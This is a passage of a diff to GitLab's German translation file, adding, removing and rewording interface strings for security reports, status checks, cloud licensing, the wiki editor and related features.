+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29036,7 +28802,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29045,6 +28814,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29057,6 +28832,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29069,7 +28865,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr "Projekte hinzufügen"
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29132,6 +28928,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29237,6 +29036,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29339,9 +29141,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29372,9 +29171,15 @@ msgstr "Grund auswählen"
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr "Wähle ein Vorlagen-Repository aus"
@@ -29477,9 +29282,6 @@ msgstr ""
msgid "Select target branch"
msgstr "Zielbranch auswählen"
-msgid "Select the custom project template source group."
-msgstr "Wähle die Quellgruppe der benutzerdefinierten Projektvorlage aus."
-
msgid "Select timezone"
msgstr ""
@@ -29573,8 +29375,8 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
-msgstr "Nutzungsdaten senden"
+msgid "Send service data"
+msgstr ""
msgid "Sentry API URL"
msgstr ""
@@ -29612,10 +29414,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29657,9 +29459,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29702,6 +29501,9 @@ msgstr "Servicevorlagen"
msgid "Service URL"
msgstr "Service-URL"
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29792,6 +29594,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr "Lege Anforderungen für eine(n) Benutzer(in) fest, um sich anzumelden. Aktiviere die erforderliche Zwei-Faktor-Authentifizierung."
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29972,9 +29777,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29999,6 +29801,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30023,9 +29828,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr "Alle Mitglieder anzeigen"
-
msgid "Show all test cases."
msgstr ""
@@ -30053,9 +29855,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr "Zeige komplettes Rohprotokoll"
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30089,12 +29888,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr "Zeige nur direkte Mitglieder"
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr "Ãœbergeordnete Seiten anzeigen"
@@ -30141,6 +29934,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30474,9 +30270,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30579,6 +30372,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30645,12 +30441,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr "Zugriffsebene, aufsteigend"
-
-msgid "SortOptions|Access level, descending"
-msgstr "Zugriffsebene, absteigend"
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30684,9 +30474,6 @@ msgstr "Zuletzt gesehen"
msgid "SortOptions|Last created"
msgstr "Zuletzt erstellt"
-msgid "SortOptions|Last joined"
-msgstr "Zuletzt beigetreten"
-
msgid "SortOptions|Last updated"
msgstr "Zuletzt aktualisiert"
@@ -30729,9 +30516,6 @@ msgstr "Name, absteigend"
msgid "SortOptions|Oldest created"
msgstr "Zuerst erstellt"
-msgid "SortOptions|Oldest joined"
-msgstr "Zuerst beigetreten"
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30783,6 +30567,9 @@ msgstr "Später starten"
msgid "SortOptions|Start soon"
msgstr "Baldiger Start"
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30801,6 +30588,9 @@ msgstr "Quelle (Branch oder Tag)"
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30903,15 +30693,6 @@ msgstr ""
msgid "Stage"
msgstr "Vormerken"
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr "Standard"
@@ -31128,12 +30909,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31152,7 +30939,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31182,6 +30969,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31269,6 +31059,9 @@ msgstr "Speicher:"
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31278,9 +31071,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31635,6 +31425,9 @@ msgstr "Sonntag"
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31653,7 +31446,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31725,9 +31524,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31740,7 +31536,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31788,7 +31584,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31803,8 +31599,8 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
-msgstr "Informationen synchronisieren"
+msgid "Sync LDAP"
+msgstr ""
msgid "Sync now"
msgstr ""
@@ -31812,10 +31608,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32007,6 +31803,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr "Vorlage"
@@ -32362,7 +32161,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32371,6 +32170,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr "Das Ticketsystem ist der Ort, um Dinge hinzuzufügen, die in einem Projekt verbessert oder gelöst werden müssen"
@@ -32380,6 +32182,9 @@ msgstr "Das Ticketsystem ist der Ort, um Dinge hinzuzufügen, die in einem Proje
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32413,9 +32218,6 @@ msgstr "Der Branch oder Tag existiert nicht"
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr "Das Character-Highlighter hilft dir, die Betreffzeile auf %{titleLength} Zeichen zu beschränken und den Textkörper auf %{bodyLength} zu kürzen, damit sie in Git lesbar sind."
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr "Die Entwicklungsphase stellt die Zeit vom ersten Commit bis zum Erstellen eines Merge-Requests dar. Sobald du deinen ersten Merge-Request anlegst, werden die Daten hier automatisch ergänzt."
-
msgid "The collection of events added to the data gathered for that stage."
msgstr "Ereignisse, die für diese Phase ausgewertet wurden."
@@ -32449,7 +32251,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32479,6 +32281,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32553,6 +32358,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr "Der Import wird nach %{timeout} beendet. Verwende eine Clone/Push-Kombination für Repositorys, die länger brauchen."
@@ -32574,15 +32382,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr "Die Ticketphase stellt die Zeit vom Anlegen eines Tickets bis zum Zuweisen zu einem Meilenstein oder dem Hinzufügen zu deinem Ticket-Board dar. Erstelle einen Ticket, damit dessen Daten hier erscheinen."
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32667,18 +32475,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr "Die Phase des Entwicklungslebenszyklus."
-
msgid "The pipeline has been deleted"
msgstr "Die Pipeline wurde gelöscht"
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr "Die Pipelinezeitplan startet in Zukunft wiederholt Pipelines für bestimmte Branches oder Tags. Diese geplanten Pipelines haben denselben begrenzten Zugriff auf das Projekt, wie der zugeordnete Nutzer."
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr "Die Planungsphase stellt die Zeit vom vorherigen Schritt bis zum Pushen des ersten Commits dar. Sobald du den ersten Commit pusht, wird diese Zeit automatisch hinzugefügt."
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr "Der private Schlüssel, der verwendet werden soll, wenn ein Clientzertifikat bereitgestellt wird. Dieser Wert wird im Ruhezustand verschlüsselt."
@@ -32742,9 +32544,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr "Die Review-Phase stellt die Zeit vom Anlegen eines Merge-Requests bis zu dessen Merge dar. Sobald du deinen ersten Merge-Request abschließt, werden diese Daten hier automatisch angezeigt."
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32763,11 +32562,11 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
-msgstr "Die Staging-Phase stellt die Zeit zwischen dem Mergen des Merge-Requests und der Bereitstellung des Codes zur Produktivumgebung dar. Sobald du das erste Mal zur Produktivumgebung ausgeliefert hast, werden deren Daten hier automatisch angezeigt."
+msgid "The specified tab is invalid, please select another"
+msgstr ""
msgid "The start date must be ealier than the end date."
msgstr ""
@@ -32781,9 +32580,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr "Die Testphase stellt die Zeit dar, die GitLab CI benötigt um die Pipelines von zugehörigen Merge-Requests abzuarbeiten. Sobald die erste Pipeline abgeschlossen ist, werden deren Daten hier automatisch angezeigt."
-
msgid "The time taken by each data entry gathered by that stage."
msgstr "Die Zeit, die jede Dateneingabe in dieser Phase benötigt."
@@ -32793,9 +32589,6 @@ msgstr "Die Aktualisierungsaktion wird nach %{number_of_minutes} Minuten abgebro
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr "Der Nutzungsbericht ist deaktiviert und kann nicht über dieses Formular konfiguriert werden."
-
msgid "The user is being deleted."
msgstr ""
@@ -32814,9 +32607,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr "Der mittlere aller erfassten Werte. Zum Beispiel ist für 3, 5, 9 der Median 5. Bei 3, 5, 7, 8 ist der Median (5+7)/2 = 6."
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32958,9 +32748,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33081,6 +32868,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr "Beim Laden des Benutzeraktivitäts-Kalenders ist ein Fehler aufgetreten."
@@ -33156,6 +32946,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33189,8 +32982,8 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
-msgstr "Angebote von Drittanbietern"
+msgid "Third-party offers"
+msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
@@ -33285,6 +33078,9 @@ msgstr "Der Umfang dieses Boards ist reduziert"
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33324,9 +33120,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr "Dieser Diff ist reduziert."
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr "Dieses Verzeichnis"
@@ -33411,7 +33204,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34150,9 +33943,15 @@ msgstr "Um GitHub-Repositories zu verbinden, musst du GitLab zunächst erlauben,
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr "Um ein SVN-Repository zu verbinden, lies %{svn_link}."
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr "Um interne Benutzer(innen) zu definieren, musst du zunächst externe Benutzer(innen) aktivieren"
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34237,9 +34036,6 @@ msgstr "So richtest du die SAML-Authentifizierung für deine Gruppe über einen
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34339,9 +34135,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr "Morgen"
@@ -34354,6 +34159,9 @@ msgstr "Zu viele Namespaces aktiviert. Sie müssen sie über die Konsole oder di
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr "Zu viele Projekte aktviert. Sie müssen sie über die Konsole oder die API verwalten."
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34402,6 +34210,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr "Verfolge Gruppen von Tickets, die ein Thema teilen, über Projekte und Meilensteine hinweg"
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr "Verfolge die Zeit mit Kurzbefehlen"
@@ -34881,12 +34698,6 @@ msgstr "Leider konnte deine E-Mail an GitLab nicht verarbeitet werden."
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34977,21 +34788,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35127,9 +34923,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35466,9 +35259,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35598,6 +35397,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35895,9 +35697,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35907,9 +35706,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35991,9 +35796,6 @@ msgstr "Verschiedene Einstellungen, die sich auf die GitLab-Leistung auswirken."
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr "Bestätigungsinformationen"
-
msgid "Verification status"
msgstr ""
@@ -36079,6 +35881,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr "Gruppenlabels ansehen"
@@ -36097,9 +35902,6 @@ msgstr "Sieh es auf GitLab an"
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36133,6 +35935,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr "Projektlabels ansehen"
@@ -36202,7 +36007,10 @@ msgstr "Unbekannt"
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36343,7 +36151,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36475,6 +36283,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36775,6 +36586,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36784,6 +36604,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36984,7 +36807,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37005,6 +36828,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37020,16 +36846,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37044,10 +36870,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37317,6 +37149,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr "Du kannst einfach dazu beitragen, indem du um Aufnahme in diesen Gruppen bittest."
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
